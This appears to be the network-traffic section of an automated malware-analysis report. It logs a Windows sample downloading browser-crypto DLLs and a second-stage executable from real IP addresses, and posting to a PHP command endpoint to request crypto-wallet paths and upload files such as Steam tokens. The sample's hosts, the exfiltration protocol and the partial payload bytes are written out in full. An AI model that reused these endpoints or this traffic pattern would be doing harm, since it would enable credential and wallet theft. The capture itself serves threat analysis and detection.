Nov 11, 2024 14:32:17.402983904 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 14:32:17.602380037 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 11, 2024 14:32:18.030867100 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 14:32:18.230619907 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 11, 2024 14:32:18.270699978 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 14:32:18.469867945 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 11, 2024 14:32:18.962234974 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:32:19.656971931 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:19.696573973 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"wallets------DHDHJJJECFIECBGDGCAA--
Nov 11, 2024 14:32:19.898307085 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 11, 2024 14:32:19.901226997 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 2d 2d 0d 0a Data Ascii: ------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="message"files------EBKJDBAAKJDGCBFHCFCG--
Nov 11, 2024 14:32:20.105338097 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:20.117078066 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file"------BAKEBFBAKKFCBGDHDGHD--
Nov 11, 2024 14:32:20.808901072 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:20.832377911 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 2d 2d 0d 0a Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="message"ybncbhylepme------DBKFHJEBAAEBGDGDBFBG--
Nov 11, 2024 14:32:21.034240961 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 11, 2024 14:32:22.940936089 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCGDHJEGHJKFHJJJKJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCGCGDHJEGHJKFHJJJKJ--
Nov 11, 2024 14:32:23.636231899 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49761	185.215.113.16	80	7436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:32:21.043148041 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 11, 2024 14:32:21.681354046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:32:21 GMT Content-Type: application/octet-stream Content-Length: 3275264 Last-Modified: Mon, 11 Nov 2024 13:28:55 GMT Connection: keep-alive ETag: "67320697-31fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@022@Wk11 @.rsrc@.idata @ssovaksk@+@+@dbhiapag11@.taggant02"1@
Nov 11, 2024 14:32:21.681366920 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:32:21.681426048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:32:21.681431055 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:32:21.681464911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:32:21.681473970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:32:21.681478977 CET	1236	IN	Data Raw: e9 ab 76 1d a2 c3 6f 04 a1 db 27 29 cd 9f bf 7f e6 1d c3 77 09 1e 8c a4 cd 45 c4 ff 65 60 87 77 e9 17 6a 1d a2 c3 4f 04 a1 db 27 c9 cc 9f bf 7f c6 1d c3 77 09 1e 8c a4 cd 45 c4 ff 5d 60 87 77 e9 87 6f 1d a2 c3 af 04 a1 db 27 69 cc 9f bf 7f 26 1d Data Ascii: vo')wEe`wjO'wE]`wo'i&wEU`wr'wEM`wos'fwE`wi'IFwE`wt/'wE`wp'
Nov 11, 2024 14:32:21.681484938 CET	636	IN	Data Raw: 09 1e 8c a4 cd 45 c4 ff ad 61 87 77 e9 6f 6e 1d a2 c3 0f 01 a1 db 27 89 7e 9f bf 7f 86 18 c3 77 09 1e 8c a4 cd 45 50 ff e5 61 87 77 e9 73 77 1d a2 c3 6f ff a0 db 27 29 7e 9f bf 7f e6 18 c3 77 09 1e 8c a4 cd 45 50 ff d9 61 87 77 e9 3f 6e 1d a2 c3 Data Ascii: Eawon'~wEPawswo')~wEPaw?nO'}wE\}awv'i}&wEPaw/o'}wETbwk'\|fwE9bwq'IFwETebw'q/
Nov 11, 2024 14:32:21.681515932 CET	1236	IN	Data Raw: 26 16 c3 77 09 1e 8c a4 cd 45 c4 ff 91 63 87 77 e9 ef 74 1d a2 c3 8f fd a0 db 27 09 77 9f bf 7f 06 16 c3 77 09 1e 8c a4 cd 45 80 ff 49 63 87 77 e9 17 6f 1d a2 c3 ef fd a0 db 27 a9 76 9f bf 7f 66 16 c3 77 09 1e 8c a4 cd 45 c8 ff fd 63 87 77 e9 9f Data Ascii: &wEcwt'wwEIcwo'vfwEcwo'IvFwEcwwq/'uwE\|cwWm'uwELcwso')uwEdwoO'twEEdw_q
Nov 11, 2024 14:32:21.681520939 CET	212	IN	Data Raw: a2 c3 4f 18 a1 db 27 c9 70 9f bf 7f c6 11 c3 77 09 1e 8c a4 cd 45 58 ff e9 67 87 77 e9 c7 73 1d a2 c3 af 18 a1 db 27 69 70 9f bf 7f 26 11 c3 77 09 1e 8c a4 cd 45 c8 ff 85 67 87 77 e9 9f 6e 1d a2 c3 8f 18 a1 db 27 09 a8 9f bf 7f 06 11 c3 77 09 1e Data Ascii: O'pwEXgws'ip&wEgwn'wEgwgp'fwCpU\'CUl'CU\|'Eqgwn')vwEahw/p
Nov 11, 2024 14:32:21.686363935 CET	1236	IN	Data Raw: a1 db 27 c9 a5 9f bf 7f d6 10 c3 77 09 1e 8c a4 cd 43 50 6d 55 db a7 cc e4 dc bf 10 d7 27 8c a4 cd 45 c2 ff 75 60 86 77 7a 3a e7 79 a2 43 d0 6e 55 db a7 d0 e4 dc bf fa d5 e7 04 a5 cd 27 8c a4 cd 45 c2 ff e5 60 86 77 7a 1a e7 79 a2 43 e0 6e 55 db Data Ascii: 'wCPmU'Eu`wz:yCnU'E`wzyCnU'ELw<dawCpU<'CnULC+\YoUTEwzyCoU\|wzywzsyC\oU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49799	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

